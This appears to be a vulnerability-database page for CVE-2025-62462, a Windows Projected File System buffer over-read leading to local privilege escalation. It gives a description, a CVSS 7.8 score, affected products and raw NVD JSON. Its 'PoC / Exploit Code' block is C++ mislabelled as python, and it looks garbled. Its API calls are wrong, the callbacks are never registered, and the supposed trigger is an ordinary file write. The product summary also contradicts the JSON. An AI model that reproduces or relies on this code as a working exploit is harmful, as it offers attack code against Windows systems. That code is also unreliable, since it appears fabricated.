Security Vulnerability Report
中文
CVE-2025-62462 CVSS 7.8 HIGH

CVE-2025-62462

Published: 2025-12-09 18:15:58
Last Modified: 2025-12-10 18:47:45

Description

Buffer over-read in Windows Projected File System allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809-22H2
Windows 11 21H2-23H2
Windows Server 2019-2022
Windows Server Core 2019-2022
Windows Projected File System (ProjFS) 内核驱动

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62462 PoC - Windows ProjFS Buffer Over-Read // This PoC demonstrates the vulnerability in Windows Projected File System // Compile with: cl.exe /EHsc /W4 poc.cpp #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winbase.h> #include <stdio.h> #include <projfs.h> // Windows Projected File System SDK // Callback to provide virtual file content HRESULT STDMETHODCALLTYPE ProvisionCallback( _In_ REFPROVIDER_CONTEXT Context, _In_ LPCWSTR FilePath, _Out_ PRJ_CALLBACK_DATA* CallbackData) { // Malicious callback that triggers buffer over-read // The vulnerability occurs when ProjFS reads beyond allocated buffers printf("[+] ProvisionCallback triggered for: %S\n", FilePath); return S_OK; } void TriggerVuln() { HRESULT hr; PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT namespaceCtx = NULL; // Start the virtualization instance hr = PrjStartVirtualization( L"C:\\TestProjection", NULL, // No initial placeholder data &namespaceCtx); if (FAILED(hr)) { printf("[-] Failed to start virtualization: 0x%08X\n", hr); return; } printf("[+] Virtualization started successfully\n"); // Register callbacks PRJ_CALLBACKS callbacks = {0}; callbacks.WriteFileCallBack = NULL; callbacks.ReadFileCallBack = NULL; callbacks.EnumerateDirectoryCallBack = NULL; callbacks.GetFileDataCallBack = ProvisionCallback; // Create file with specific attributes to trigger over-read // The vulnerability is in how ProjFS handles the file metadata HANDLE hFile = CreateFile( L"C:\\TestProjection\\malicious_file.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { // Writing specific data patterns that trigger the buffer over-read BYTE maliciousData[0x1000]; memset(maliciousData, 0x41, sizeof(maliciousData)); DWORD written = 0; WriteFile(hFile, maliciousData, sizeof(maliciousData), &written, NULL); CloseHandle(hFile); printf("[+] Created malicious file to trigger vulnerability\n"); // Trigger enumeration which causes the over-read WIN32_FIND_DATA findData; HANDLE hFind = FindFirstFile(L"C:\\TestProjection\\*", &findData); if (hFind != INVALID_HANDLE_VALUE) { printf("[+] Directory enumeration triggered\n"); FindClose(hFind); } } // Cleanup PrjStopVirtualization(namespaceCtx); } int main() { printf("CVE-2025-62462 PoC - Windows ProjFS Buffer Over-Read\n"); printf("==================================================\n"); TriggerVuln(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62462", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:57.860", "lastModified": "2025-12-10T18:47:44.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer over-read in Windows Projected File System allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62462", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}